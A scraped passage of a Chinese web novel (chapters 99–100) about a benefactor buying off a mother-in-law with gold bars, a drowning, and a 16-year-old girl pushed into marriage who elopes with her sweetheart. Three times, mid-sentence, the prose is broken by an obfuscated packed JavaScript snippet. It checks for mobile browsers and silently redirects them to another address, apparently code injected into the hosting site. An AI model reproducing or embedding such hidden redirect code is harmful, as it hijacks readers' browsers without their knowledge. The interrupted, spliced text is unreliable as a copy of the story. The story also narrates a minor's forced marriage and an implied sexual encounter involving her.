就在这时,只见一个身材高大的男人缓缓地从那座金碧辉煌的财神庙里踱步而出。他神情自若,仿佛对周围的一切都毫不在意。 这个神秘男子漫不经心地从口袋里掏出一根粗壮的雪茄,熟练地将其含在了嘴里。就在他转身准备离开的时候,一件物品随着他的动作悄然滑落,掉落在坚硬的地面上,发出清脆的声响。 然而,男子似乎对此毫无察觉,依旧悠然自得地深吸了一口手中的雪茄,然后面无表情地迈步离去,甚至连头也未曾回一下。 站在不远处的蒋依依目睹了这一幕,她好奇地跑上前去,蹲下身子,伸出纤细的手捡起那个掉落的东西。定睛一看,竟然是一串精美的珠子!这串珠子颗颗圆润光滑,晶莹剔透得宛如夜空中闪烁的繁星,散发着迷人的光芒,让人一见倾心。 善良的蒋依依心想,这么漂亮的珠子,如果失主找不到一定会非常焦急的。于是,她毫不犹豫地抬起头,朝着那位渐行渐远的男子大声呼喊:“叔叔,您的珠子掉啦!”可是,那个男子却像是完全没听到一般,脚步丝毫未停,径直走向路边停放的一辆老旧汽车。 眼看着男子即将踏上车门,准备就此离去,蒋依依的心瞬间被揪紧,愈发焦躁不安起来。此时此刻,她已无暇深思熟虑,毫不犹豫地迈开腿,如离弦之箭一般朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蒋依依咬着嘴唇,眼神中透露出一丝绝望和无奈,轻声说道:“我……还是算了吧,连胡叔叔那么厉害都不是他们的对手,你们应该也帮不了我的!”她的声音微微颤抖着,仿佛已经放弃了所有希望。 那个男人看着蒋依依楚楚可怜的模样,心中不禁涌起一股怜悯之情。他温和地说道:“小姑娘,别这么快就灰心丧气嘛。你先把具体情况跟我说一说,说不定我真能想出办法来帮助你呢。” 听到这话,蒋依依抬起头,泪水在眼眶里打转,哽咽着说道:“叔叔,求求您帮帮我吧!我娘……她遇到危险了!” “你娘怎么啦?”男人急切地问道。 蒋依依抽泣着回答道:“那些坏人欺负我娘,我不知道该怎么办!” 男人一听,脸色瞬间变得严肃起来,毫不犹豫地说道:“走,我们这就去看看!”说完,他转身对着司机吩咐道:“小赵,赶紧掉个头回去,通知阿罗、阿方他们几个人立刻赶过来!” 司机连忙应道:“好的,薛总!”然后迅速掉转车头,驾驶着汽车疾驰而去。而那个被称为薛总的男人则紧紧跟随着蒋依依,两人一起朝着出事地点飞奔而去。 一路上,蒋依依一边跑一边感激地说道:“薛总?薛叔叔,真是太感谢您了,谢谢您愿意出手相助!” 就在李万原准备带着蒋晶晶离开时,突然间,一道娇小而敏捷的身影如疾风般冲了出来,挡在了他们面前。原来是蒋依依,只见她小脸涨得通红,怒目圆睁地对着李万原等人喊道:“你们这群坏蛋,快放开我娘!”那稚嫩却坚定的声音回荡在空中,令人不禁为之动容。 李万原先是一愣,随即将目光投向一旁的**梅,脸上露出一丝戏谑的笑容说道:“哎哟哟,您瞧瞧,这是您的亲孙女吧!您看,眼下这情形该如何是好呀?”他边说着,边不怀好意地朝**梅眨了眨眼。 然而,**梅却丝毫没有被亲情所打动,反而恶狠狠地朝着地上啐了一口唾沫,骂道:“哼,我呸!谁晓得这小丫头片子是这个不知羞耻的女人跟哪个野汉子生下来的小野种!”她那狰狞扭曲的面容让人看着心生寒意。 这时,眼尖的**梅突然注意到蒋依依身后还站着一个中年男人。她顿时像抓到了把柄一般,指着那个男人尖叫起来:“看吧看吧,我说这贱女人在外头有姘头吧,竟然还不止一个呢!真是个水性杨花、不知检点的**!”她越说越来劲,仿佛要把所有难听的字眼都用在蒋晶晶身上才解气。 而那位一直沉默不语的薛老板则不紧不慢地找了个位置缓缓坐下,然后面无表情地看向**梅,冷冷地开口道:“麻烦您先放开这个孩子的母亲,如果您有什么要求或者条件,可以直接跟我说便是。没必要在这里大吵大闹,搞得大家都不好看。”尽管他的语气平淡,但其中蕴含的威严却让人不敢轻易忽视。 听到这话,**梅像是被踩到尾巴的猫一样跳了起来,双手叉腰冲着薛总大声嚷嚷道:“跟你讲?你算哪根葱啊!这贱女人卷走了我的钱跑得无影无踪,难道我连讨回自己钱财的权利都没有了吗?今天无论如何,我也要让她付出代价!”说完,她又转头恶狠狠地瞪向蒋晶晶和蒋依依母女俩。 只见薛总面不改色地伸出右手,随意一甩,一块沉甸甸、金灿灿的金条便直直的拍在了桌子上。 **梅瞪大了眼睛,难以置信地望着那道金色的光芒。当金条稳稳落在桌面时,她才如梦初醒,颤抖着双手将其拿起来。 从未见过如此珍贵之物的**梅激动得满脸通红,她拿起金条翻来覆去地查看,还用牙齿轻轻咬了一口,感受到那坚硬而真实的质感后,她兴奋地喊道:“够了够了!那个......这死丫头以后就是您的人啦,我这可就走了!”说完,她紧紧攥住金条,生怕它会突然消失一般。 第99章 金条 一旁的李万原见状,急忙上前拦住**梅,大声说道:“诶,你刚才不是口口声声说要把蒋晶晶卖给我吗?而且你都已经收下我的钱了!” 然而此时的**梅早已被金条迷得晕头转向,她不屑地丢出一沓皱巴的钞票,轻蔑地回应道:“还你还你!就这么点儿破钱,哪里能比得上人家的金条呀!从今往后,蒋晶晶跟我们家可再没半毛钱关系喽!”话音未落,她便喜笑颜开地转身离去,脚步轻快得像是踩在了云朵之上。 看着**梅渐行渐远的背影,李万原气得直跺脚,他指着薛老板怒喝道:“我不管你是什么来头,总之,她把我的媳妇给藏起来了,今儿个必须把我媳妇交出来还给我!” 薛总皱着眉头,一脸疑惑地看着李万原,语气中带着几分质问:“你媳妇儿又是谁?” 李万原连忙笑着回答道:“我媳妇就是何芊菊啊!而且我还有个女儿叫冬雪,她们娘俩可都被这个女人藏起来了!” 就在这时,一旁的蒋依依快步跑到薛老板的身边,俯下身来,在他耳边轻声低语了几句。 只见薛老板微微点了点头,然后随手从又丢出一块沉甸甸、黄澄澄的金条,“啪”的一声丢在了桌上,同时大声说道:“这块儿金条足够你买上好几个媳妇儿的了!” 李万原一看到那块金条,眼睛顿时亮了起来,满脸贪婪之色,迫不及待地伸出双手就要去抓。 然而,还没等他碰到金条,薛老板突然伸出手,一把按住了他的手,目光犀利地盯着他,警告道:“拿了我的钱,以后可不允许你再来找任何人的麻烦!要是让我知道你敢不守规矩,哼,后果可不是你能承受得起的!” 李万原听后,心中虽然有些不情愿,但面对薛总的威严,也不敢有丝毫违抗之意。他赶忙赔着笑脸,连连点头应道:“那是自然,那是自然的!这位老板您放心,我绝对不会再找任何人的麻烦,也绝对不会给您添麻烦!” 得到李万原的保证之后,薛老板这才松开了手。李万原如获至宝般迅速将金条紧紧握在手中,然后心满意足地转身离去,边走边还不时低头欣赏着手里的金条,嘴里喃喃自语道:“这下可要发财喽……” 就在此时,司机小赵风风火火地带着几个人匆匆赶来。只见他神色紧张,额头上还挂着几颗汗珠。 一见到薛老板,薛老板心急如焚,连忙大声喊道:“快快快!先去瞧瞧那两人究竟如何了,然后赶紧把他们送去医馆医治!”说罢,他用手急切地挥了挥,示意众人行动起来。 于是乎,这一群人迅速来到倒在地上的蒋晶晶和胡良全身旁。只见蒋晶晶整个人软绵绵地瘫在地上,双眼紧闭,仿佛失去了意识一般。而一旁的胡良全则状况更为糟糕,他的腿部扭曲变形,鲜血不断从伤口处渗出,看上去触目惊心。 大家不敢有丝毫耽搁,小心翼翼地扶起软瘫在地的蒋晶晶,又七手八脚地抬起伤势严重的胡良全,一路小跑着朝医馆奔去。一路上,每个人的心中都充满了担忧与焦急,只盼能尽快赶到医馆,让伤者得到及时有效的治疗。 到了医馆后,经验丰富的大夫立刻对蒋晶晶和胡良全展开了全面细致的诊断。经过一番检查之后,大夫松了一口气,对着众人说道:“这位姑娘像是饮酒过量所致,身体并无大碍。只需给她煮一碗醒酒汤服下,再好好休息一下,便能恢复过来。”听到这个消息,大家悬着的心总算稍稍放下了一些。 然而,对于胡良全的伤势,大夫的脸色却显得有些凝重。他摇了摇头,缓缓说道:“这位小兄弟的腿部伤势较重,需要长时间卧床静养。而且他的头部也新增了一处伤口,暂无生命危险,只是接下来的几个月里,最好都不要下地行走,以免影响伤势的恢复。”听完大夫的话,在场所有人的心情都变得沉重起来。 李万原紧紧地握着那块沉甸甸的金条,脑海里不断回响着薛老板那句令人费解的话语——不能再去找任何人的麻烦。他不禁陷入沉思,这句话到底指的是什么呢?难道连自己的媳妇儿都不能找了吗?这个念头让他感到十分困惑和不安。不过摸着自己口袋里的金条,思索着刚才**梅说过的话,心中的疑虑也随风而去:我都有钱了,还有什么好想的,反正何芊菊那娘们儿也找不着在哪儿,倘若真的能再娶个媳妇儿,说不定明年就等给我生个大胖小子!” 越想越开心的李万原脚步轻快地奔向菜市场,毫不犹豫地称了几斤鲜嫩多汁的猪肉。手里提着那香气四溢的肉,他心情愉悦地哼着小曲,悠然自得地往家里走去。 不一会儿,李万原便来到了李安硕家门前。他面带微笑,轻轻敲响了房门。门开后,李安硕看到李万原手中拎着的大块猪肉,脸上露出一丝疑惑之色。 “您这是怎么啦?怎么突然买这么多肉呀?”李安硕好奇地问道。 李万原哈哈一笑,将肉递到李安硕面前,说道:“这肉啊,就当作是我感谢你们这段时间对我的照顾了!” 听到这话,李安硕更是丈二和尚摸不着头脑了,他皱起眉头追问道:“你这是太阳打西边出来了?不然怎么会如此大方呢?难不成……你是又去变卖了什么值钱的物件?” 面对李安硕的追问,李万原神秘兮兮地笑了笑,然后压低声音说道:“嘿嘿,告诉你吧,从今往后我都不用再靠卖东西过日子啦!不仅如此,我还打算再娶个媳妇儿呢!” 话音刚落,李安硕和一旁的郭美娟都惊得目瞪口呆。他们面面相觑,简直不敢相信自己的耳朵。 “什么?您刚才说什么?”李安硕瞪大了眼睛,急切地想要确认自己是否听错了。 然而,此时的李万原却似乎不想再多做解释,只见他摆了摆手,笑着说道:“哎呀,没啥好说的,我今天就是开心,我先回去了!”说完,他便转身离去,留下李安硕夫妇站在原地,满心狐疑地望着他远去的背影。 傍晚时分,太阳逐渐西沉,余晖透过窗户洒在了房间里。蒋晶晶缓缓地睁开眼睛,意识还带着些许迷糊,但当她的目光落到身旁那个熟悉的身影时,顿时清醒了许多。那是她的女儿——蒋依依。 只见蒋晶晶迅速伸出一只手,紧紧抓住了女儿的小手,仿佛生怕一松手女儿就会消失不见似的。同时,她的另一只手撑在床上,想要坐起来。而她的眼神则充满了警惕,快速地扫视着周围的环境。 蒋依依见到母亲终于醒来,脸上露出欣喜之色,急忙说道:“娘,你可算是醒了!担心死我啦!” 蒋晶晶顾不上回应女儿的话,焦急地问道:“你胡叔叔呢?他怎么样了?有没有受伤?”声音中透露出关切与担忧。 蒋依依连忙安慰道:“娘,你就放心吧,这里是医馆!薛叔叔已经让大夫帮忙看过了,说胡叔叔那条腿伤势太重,不过只要好好调养一段时间就能恢复了。” 听到这话,蒋晶晶稍稍松了口气,但紧接着又皱起眉头,一脸疑惑地问道:“薛叔叔?依依,你是不是说错了呀?应该是胡叔叔才对呀。” 就在此时,一个身材高大、面容和蔼的男子从门口走了进来。他便是——薛老板。只见薛老板面带微笑,温和地说道:“醒了就好啊,夫人感觉如何?可还有哪里不舒服吗?” 蒋晶晶一听来人正是救了她们母女和胡良全的恩人,立刻挣扎着想从床上起身。然而由于身体尚未完全恢复,动作显得有些吃力。但她还是坚持着站了起来,并对着薛老板深深地鞠了一躬,感激涕零地说道:“感谢这位大哥出手相救,如果不是您仗义相助,我们真不知道该怎么办了。只是……只是我现在实在拿不出那么多钱来还给您,请您多多包涵。不过,我一定会继续攒钱还给您的!”说着,眼眶不禁湿润了起来。 薛老板脸上堆满笑容,豪爽地说道:“哈哈,您可太客气啦!不得不说,您真会教育孩子,培养出如此优秀的女儿来。她竟然捡到我们薛家祖传的宝贝,而且面对这样巨大的诱惑,丝毫没有动贪念之心,不辞辛劳地一路追上来归还于我!就冲着这份善良与正直,我向你们表达一下谢意,那完全是理所当然的嘛!” 站在一旁的蒋晶晶赶忙回应道:“哎呀,依依把东西还给您本来就是天经地义的事情呀,哪能接受您这么贵重的谢礼呢!尤其是您给的那两枚金条,实在是太多了,我们受之有愧啊!” 听到这话,薛老板忍不住仰头大笑起来,然后摆了摆手解释道:“你们有所不知啊,我那串珠子可不是一般的物件儿。它可是我们薛家祖祖辈辈传下来的稀世珍宝呢!莫说是区区两块金条了,哪怕是用它们去买下这一整个县城,恐怕都差不了多少哩!” 此言一出,蒋晶晶和蒋依依不禁对视一眼,两人心中皆是大为震惊:天哪,那东西居然有这般价值连城吗?就在她们母女俩惊愕不已的时候,原本昏迷不醒的胡良全忽然缓缓睁开了眼睛。 与此同时,一名大夫快步走到他的床前,关切地嘱咐道:“小兄弟啊,你腿上的伤势着实不轻呐,依我看,你还是好好卧床歇息一阵子吧!” 蒋晶晶也立马上前:“胡大哥,你就听大夫的吧,躺着休息着吧!” 胡良全稍有一丝安心,突然好像又想到了什么,心中那丝刚刚升起的安心瞬间被冲散得无影无踪,他瞪大了眼睛,满脸惊愕地问道:“我娘呢?她去哪里了?” 这时,只见阿罗走到薛老板身旁,压低声音在其耳边悄悄说了几句话。薛老板原本还算轻松的表情一下子变得沉重起来,他的眉头紧紧皱在一起,脸色也阴沉得仿佛能滴出水来。 沉默片刻后,薛老板缓缓开口道:“我们刚才在那边的水塘里救起了一个老太太,但很遗憾,等发现的时候已经太迟了……大夫看过之后说,她早已没了气息。” 胡良全听了这话,如遭雷击般僵立当场,他不敢相信自己所听到的一切,连连摇头喊道:“什么?这不可能!不可能的!我娘她向来最讨厌靠近水塘那种地方,怎么会出现在那里呢!一定是你们搞错了!”然而,尽管嘴上如此说着,他的内心深处却隐隐泛起一阵恐慌和不安。 薛老板看着情绪激动的胡良全,轻轻叹了口气说道:“人此刻就放在外面,小兄弟要不亲自过去看看是不是你要找的人吧。” 站在一旁的蒋晶晶赶忙上前扶住摇摇欲坠的胡良全,两人一步一瘸地朝着门外艰难地走去。当他们终于来到门口时,一眼便看到地上躺着一个身影,上面严严实实地覆盖着一块白布。 阿方小心翼翼地走过去,他缓缓地掀起了那块覆盖着未知秘密的白布。当白布被揭开的瞬间,眼前的景象让所有人都惊呆了——胡母正静静地躺在那里,她全身湿漉漉的,仿佛刚刚从水中捞出来一般。更令人揪心的是,她紧闭双眼,面色苍白如纸,就像只是安静地睡着了一样。 胡良全见状,双腿一软,扑通一声跪倒在地。他双手紧紧握拳,拼命捶打着地面,声嘶力竭地痛哭起来:“娘啊!您怎么能这么想不开啊!到底发生了什么事?是谁逼得您走上绝路啊!”泪水顺着他的脸颊滚滚而下,滴落在冰冷的地面上,溅起一朵朵小小的泪花。 站在一旁的薛老板眉头紧皱,若有所思地观察着现场的情况。突然,他开口说道:“依我看,这似乎不像是**。你们瞧,胡大娘的手里居然还紧握 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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薛老板微笑着点了点头,应声道:“依依,好名字!实不相瞒,我的妻儿多年前不幸失踪,至今仍杳无音讯,而我也始终未曾再娶妻室。我来这里,也是听人讲他们到此处寻过我,今日与你们相遇,或许便是冥冥之中注定的缘分,也让我想起了我得妻儿,不知道他们在外面有没有被人欺负,因此才想要认这孩子做干女儿的念头。” 蒋晶晶面露惊喜之色,赶忙拉过身旁的蒋依依,激动地说道:“哎呀,咱们不过是普普通通的老百姓罢了,竟然能够得到您的青睐,可真是我们的福分呐!依依,快些过来,赶紧给干爹磕个头!” 只见蒋依依十分乖巧懂事地走上前来,双膝跪地,恭恭敬敬地朝着薛老板磕了一个头,并甜甜地叫了一声:“干爹!” 薛老板满脸笑容地伸出双手,小心翼翼地将依依从地上搀扶起来,亲切地说道:“好孩子,快快起身吧!”他那温和的声音仿佛春风拂面,让人感到无比温暖。 紧接着,薛老板目光炯炯地看着众人,缓声道:“不瞒各位,我的产业大多集中在省城一带,那里商机无限、繁华热闹。我有意带你们一起去往省城,不知诸位意下如何?” 这时,蒋晶晶微微侧过头去,将自己的视线投向了一旁的胡良全。只见胡良全面色凝重,但眼神坚定,稍作思考之后,他郑重其事地回应道:“多谢薛老板的美意!待我妥善安葬了母亲,便心甘情愿追随您左右,为您鞍前马后,在所不辞!” 听到胡良全的回答,蒋依依也连忙附和着说道:“我也很想去省城看看呢!”她那充满期待的眼神里闪烁着对未来美好生活的憧憬。 薛老板闻言,脸上的笑意更浓了几分,豪爽地大手一挥,朗声道:“好哇!既然如此,那就这么愉快地决定啦!至于令母后事的相关事宜,我会安排阿罗和阿方全力协助你处理妥当的,请放心!” 再说回老李沟这个地方,杏花脚步匆匆地又一次来到了刘婶儿的家中。她面带焦急之色,一进门便拉住刘婶儿的手说道:“刘婶儿呀,我寻思着让您给我家云义说门亲事呢!” 刘婶儿听后不禁皱起眉头,叹了口气道:“我说杏花啊,你们家这事儿可真是不好管哟!别人家都是欢欢喜喜、顺顺利利地给儿子说媳妇儿,哪像你家那个小子,倔得跟头驴似的,几次了,他都不愿意啊!” 杏花无奈地摇摇头,苦着脸说:“哎呀,刘婶儿,这回不管他愿不愿意,我都由不得他啦!他年纪也不小了,总不能一辈子就这样打光棍儿吧!” 刘婶儿点了点头,表示赞同:“可不是嘛,杏花,你早就该拿定主意了。等真把人家姑娘娶进家门,成了一家人,你家二小子难道还能闹翻天不成?” 杏花眼睛一亮,觉得刘婶儿说得很有道理,连忙应和道:“对对对,还是刘婶儿您想得周到。那您可一定得帮我们家留意着点儿啊,如果有合适的好姑娘,千万要给我们家介绍一个!还有哦,咱们一起瞒着我们家那二小子,免得他又瞎捣乱,咱们自己商量好了就行!” 隔天,杏花和刘婶儿又在村里遇见了,刘婶儿:“哎呀,杏花啊,你真是运气好啊!隔壁村姓董的那家外乡人,家里不是有个小闺女嘛,才刚满十六,家里老母亲前不久刚去了,现在是她嫂子当家,她嫂子嫌弃多个人吃饭浪费粮食,就想着啊,找个人家给嫁了!” 杏花微微皱起眉头,轻声说道:“才十六啊?”言语间似乎流露出些许惊讶和疑虑。 站在一旁的刘婶子见状,连忙笑着回应道:“十六咋了?想当年你十六岁的时候,不也一样风风光光地嫁给云亭他爹啦!”说罢,她还轻轻拍了拍杏花的肩膀,仿佛在回忆那段美好的过往。 杏花听后,若有所思地点了点头,但心中仍在暗自琢磨着什么。就在这时,一个皮肤黝黑的男子——李万原大步流星地走了过来。只见他一脸急切地对刘婶子喊道:“我说刘婶子,您昨天不是还答应得好好的,要给我介绍个媳妇儿吗?怎么这会儿又给别人介绍了呢?我可都听见了啊,那个丫头看起来挺不错的,您不把她介绍给我,反倒介绍给李云义干啥呀!” 第100章 董家姑娘 刘婶子被他这么一问,脸上闪过一丝尴尬之色,随即解释道:“哎呀,人家董家那家人有要求的呀,说是要找个没成过亲的。你看看你家冬雪,都多大啦!”说着,刘婶子无奈地摇了摇头,表示自己也是爱莫能助。 李万原一脸委屈地对刘婶子喊道:“哎呀,刘婶子呀,您这话可不能这么讲哟!想当年,我确实是成过亲,也有过孩子。可谁能想到,那狠心的婆娘竟然带着孩子跟别人跑啦!这又怎能怪得了我呢?”一边说着,他忙不迭地从兜里掏出一沓钞票,硬要塞进刘婶子的手中,嘴里还不停地念叨着:“刘婶子,实不相瞒呐,我就喜欢你说的那小丫头片子。只要您能帮我说成这门亲事,我保证给您三倍的谢礼!另外,您再去跟那董家讲讲,彩礼方面我愿意出双份!决不食言!” 站在一旁的杏花瞧着李万原这般急切的模样,不禁有些尴尬,轻声对刘婶子说道:“刘婶儿啊,既然万原他都这样说了,要不就先把这事儿介绍给他呗!反正我们家云义也不急于一时呢!” 李万原听杏花这么一说,连忙附和道:“可不是嘛!您瞧瞧,您都已经有三个大胖孙子了,还有啥好操心的哟!而我呢,至今膝下无子,心里头那个急呀!做梦都想着能有个儿子将来给我李家传宗接代呢!” 刘婶子被李万原说得心花怒放,满脸堆笑地应承下来:“行嘞,既然你们都这么说了,那我这就去董家替你好好周旋周旋,争取把这桩美事给定下来!”说完,她便喜滋滋地揣着钱往董家走去。 董家,刘婶子热情地凑到董家嫂子跟前说道:“她嫂子啊,我给你们家春风介绍一门好亲事!李家沟有户人家条件挺不错的,就是那男的年纪稍微比你们家春风大了一点,但人家可是明说了,如果能成,愿意出双倍的彩礼呢!” 董家嫂子一听,眼睛顿时亮了起来,喜不自禁地回应道:“双倍彩礼?哎哟喂,这可真是太好了!没想到咱家这丫头还能有这样的好福气!” 坐在一旁的董家大哥却皱起了眉头,插话问道:“年纪大?到底大多少啊?要是像我爹那个岁数,那我可不答应啊!” 刘婶子连忙摆了摆手,笑着解释道:“瞧大兄弟这话说的,哪能跟你爹一样大呀!顶多也就大个十来岁而已啦!” 董家大嫂满不在乎地接过话头:“哎呀,年纪大些怕什么?年纪大点更懂得人情世故,也更懂得心疼人呐!” 董家大哥还是不放心,继续追问:“这么大年纪了,难道他之前都没娶过亲、没生过孩子吗?” 刘婶子稍稍犹豫了一下,然后压低声音说道:“倒也是娶过一房媳妇,只是前不久不知道咋回事,那女人带着孩子跟着别人跑掉了,所以这不才打算再相一个嘛......” 董家大嫂一脸笃定地对着董家大哥说道:“那小子肯定是个老实人,要不然,他那媳妇儿咋会跟别人跑了去哟!我说你啊,可别再胡思乱想啦!像他们这样好条件的家庭,你上哪儿去找第二个哟!人家可是愿意给双倍彩礼!” 董家大嫂突然提高嗓门喊道:“春风,快出来一下!”声音在院子里回荡着。 没过多久,只见一个身材娇小、面容清秀的女子缓缓走来,正是董春风。她轻声问道:“大嫂,您叫我?” 董家大嫂满脸笑容地拉过董春风,将她推到刘婶面前,兴奋地说道:“来来来,转一圈让刘婶好好瞧瞧。我啊,费了好大劲儿,可算是给你寻了一门好亲事呐!人家说了,愿意出双倍的彩礼呢!” 然而,董春风却倔强地摇着头,低声嘟囔道:“我不想嫁人!” 一旁的刘婶子一听这话,立马板起脸来,数落道:“哎呀,瞧这丫头,尽说些胡话!哪有大姑娘不嫁人的道理嘛!” 董家大嫂也附和着刘婶子的话,语气强硬起来:“哼,不嫁也得嫁!这家里可由不得你做主!”说完,她狠狠地瞪了董春风一眼。 董家嫂子一脸认真地对刘婶儿说道:“刘婶儿啊,麻烦您回去转告李家沟那户人家,这门亲事咱们董家应下啦!不过呢,彩礼方面可就得按照他们之前所说的那样,双倍,一分一毫都不能少!”刘婶子听完后,脸上立刻绽放出灿烂的笑容,连连点头答应着,然后满心欢喜地转身离开了。 就在这时,董春风像一阵风似的冲到了哥哥面前,满脸委屈和不情愿地喊道:“大哥,我真的一点儿都不想嫁人呐!”她那双水汪汪的大眼睛里闪烁着泪光,让人看了不禁心生怜悯。 然而,董家大嫂却丝毫不为所动,瞪了一眼董春风,没好气地数落道:“哼,你别以为我不知道你心里一直惦记着那个叫栓子的。可是,那种一贫如洗的人能给你带来啥幸福生活?只有找个家境殷实的婆家,你将来才能过上好日子,这个道理难道还不懂吗?” 董家大哥听到大嫂这番话,也毫不犹豫地点头表示赞同:“没错,妹子,你大嫂说得对!这次你就乖乖听话吧,这事儿啊,就按你大嫂说的办!还有以后,离那个栓子远一点儿!” 就这样,在董家大嫂和大哥的坚持下,董春风的亲事就这般糊里糊涂、不容置疑地给定下来了。而可怜的董春风,只能独自默默地承受着这份无奈与悲伤。 村子里最近可热闹啦,大家都在纷纷议论着一件事——李万原竟然又要成亲了!这消息像长了翅膀一样迅速传遍整个村庄。 听到这个传闻后,杏花忍不住感叹道:“瞧瞧人家万原,多有本事啊,这都要第二次成亲了。再回头瞅瞅咱家云义,真是让人不省心呐!不行,以后啥事都不能由着他胡来了,明儿个我非得去找找刘婶子托她再好好寻个!” 与此同时,王小凤也正和她儿子李大虎念叨着呢。只见她一脸羡慕地对李大虎说:“大虎呀,你听听,那万原又要成亲咯,而且这次娶的可是个才十几岁的大姑娘!要不,你也赶紧再给娘娶一个进门呗!” 李大虎一听这话,立马把头摇得跟拨浪鼓似的,反驳道:“娘啊,您这说得都是啥话呀!十几岁的小丫头片子能懂啥事儿?她可比咱豆宝大不了几岁呢,我要是真把这么个闺女娶回家来,那不跟养个女儿差不多嘛!再说了,说不定哪天小翠就自己回来啦!” 王小凤见儿子如此不开窍,气得直跺脚,嗔怪道:“你咋就这么死心眼儿呢!天底下的女人多得是,难不成除了小翠,其他女人就都入不了你的眼啦?” 李大虎却不为所动,只是淡淡地说了句:“哎呀,娘,我都多大个人了,您就别操这份心啦!”说完,便转身回屋,蒙头睡起觉来,留下王小凤独自在那儿干着急。 当李安硕和郭美娟听闻这个消息时,他们两人的脸上不约而同地浮现出极度震惊的神情,仿佛听到了什么惊天动地的大事一般。 然而,短暂的惊讶过后,他们很快就恢复了平静,尽管心中或许仍会泛起一丝涟漪,但表面上却依旧装得若无其事,继续过着各自原本平淡而又安稳的生活。 眼看着这门亲事就这般尘埃落定了,董春风急得如同热锅上的蚂蚁一般,心中焦躁难安。只见她在那不大的房间里来来**地踱步,脚步匆匆,仿佛每一步都承载着她满心的忧虑和不安。 就在这时,一阵轻微而急促的敲击声忽然传入了董春风的耳中。她猛地停下脚步,抬起头朝着声音传来的方向望去,只见窗户处有一个黑影正轻轻地敲打着玻璃。董春风的心瞬间提到了嗓子眼儿,待她定睛一看,不由得惊喜交加,脱口而出道:“栓子哥,真的是你?” 窗外的栓子小心翼翼地环顾四周,见四下无人后,身手敏捷地翻过窗台,跳进了屋内。他快步走到董春风面前,一把拉住她的手说道:“春风,跟我走吧!咱们一起远走高飞!” 董春风瞪大了眼睛看着眼前这个让自己朝思暮想的男人,泪水不受控制地在眼眶里打转。她颤抖着身子,紧紧地贴在了栓子宽厚的胸膛之上,感受着他强有力的心跳,哽咽着问道:“栓子哥,你……你真的愿意带我走吗?” 栓子重重地点了点头,语气坚定地回答道:“嗯,春风,我一定要带你离开这里!我绝不允许你嫁给别的男人!” 然而,两人深情相拥之时,门外却突然传来了董家嫂子的呼喊声:“春风啊,你睡下了没有?” 栓子二话不说,猛地朝着她那粉嫩如桃花般的脸颊亲了一口。这一吻犹如蜻蜓点水,但却在董春风的心湖上激起了层层涟漪。 紧接着,栓子身手敏捷地一个箭步跃上窗台,然后如同一只灵活的猫一般,从窗户一跃而出,消失在了茫茫夜色之中。 而此时,董家大嫂打开门走了进来。她一边走,嘴里还不停地念叨着:“这死丫头,干啥呢,我都喊了你好几声了,咋一声都不应我啊!”当她走进房间时,只见董春风正一脸红晕地坐在床边,眼神有些迷离。 董春风被大嫂突如其来的闯入吓了一跳,她定了定神,故作镇定地说道:“大晚上的,不睡觉还能干什么呀!” 董家大嫂狐疑地看了看四周,目光最终落在了敞开的窗户上。她皱起眉头,关切地说:“晚上风凉得很,你可别忘了把窗户给关起来,小心着凉了!”说着,她便快步走到窗前,伸手将窗户缓缓地合上。 董春风微微地点了点头,轻声应道:“知道啦,我这就要睡觉了,大嫂你也快去休息吧。”说完,她便躺到床上,拉过被子盖在身上,闭上了眼睛。 董家大嫂见状,没好气地白了她一眼,嘴里嘟囔着:“这孩子,今儿个怎么这么奇怪……”随后便匆匆转身离开,顺手带上了房门。 然而,等大嫂前脚刚一走远,董春风便立刻睁开眼睛,迅速从床上爬了起来。她蹑手蹑脚地走到窗边,轻轻地推开窗户,压低声音喊道:“栓子哥,你还在吗?” 话音未落,只听见窗外传来一阵轻微的响动,紧接着栓子那熟悉的身影突然又蹭的一下冒了出来。他笑嘻嘻地看着董春风,露出一排洁白整齐的牙齿,说道:“嘿嘿,我在这儿呢!” 于是,栓子小心翼翼地再次翻过那扇熟悉的窗户,悄悄地进入屋内。屋里弥漫着一股淡淡的香气,让人感到一种莫名的紧张和期待。当他看到心爱的董春风时,两人毫不犹豫地紧紧相拥在了一起。 栓子深情地看着董春风,轻声说道:“明天晚上趁着天黑,我们就离开这里,我带你省城去过属于我们俩的生活!” 董春风用力地点点头,眼中闪烁着坚定的光芒,回应道:“嗯,只要能跟你在一起,无论去到哪里,我都愿意!” 栓子紧紧握住董春风的手,郑重其事地说:“这辈子,我最大的心愿就是能够把你风风光光地娶回家去,让你成为我的妻子,与我共度一生一世!”听到这番话,董春风的脸颊瞬间泛起一阵羞涩的红晕,她轻轻地唤了一声:“栓子哥!”声音温柔而甜蜜。 栓子凝视着眼前美丽动人的董春风,心中涌起一股难以抑制的冲动,他缓缓靠近董春风的耳边,低语道:“春风,我想......” 还未等栓子说完,董春风已经明白了他的意思,她微微闭上双眼,轻轻仰起头,等待着那一刻的来临。 就在这昏暗的色调中,暧昧的气息如潮水般不断蔓延开来。两颗年轻的心越靠越近,终于,他们如同干柴烈火一般,情不自禁地偷尝了爱情的禁果。这一刻,时间仿佛凝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165903|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 固了,整个世界只剩下彼此的呼吸和心跳声。 第二天晚上,夜幕降临,月光被乌云遮住,四周一片漆黑。栓子按照约定的时间来到董春风的窗前,只见董春风早已收拾好行李,迫不及待地等待着他的到来。两人相视一笑,然后默契地翻出窗户,朝着远方的黑暗处飞奔而去。 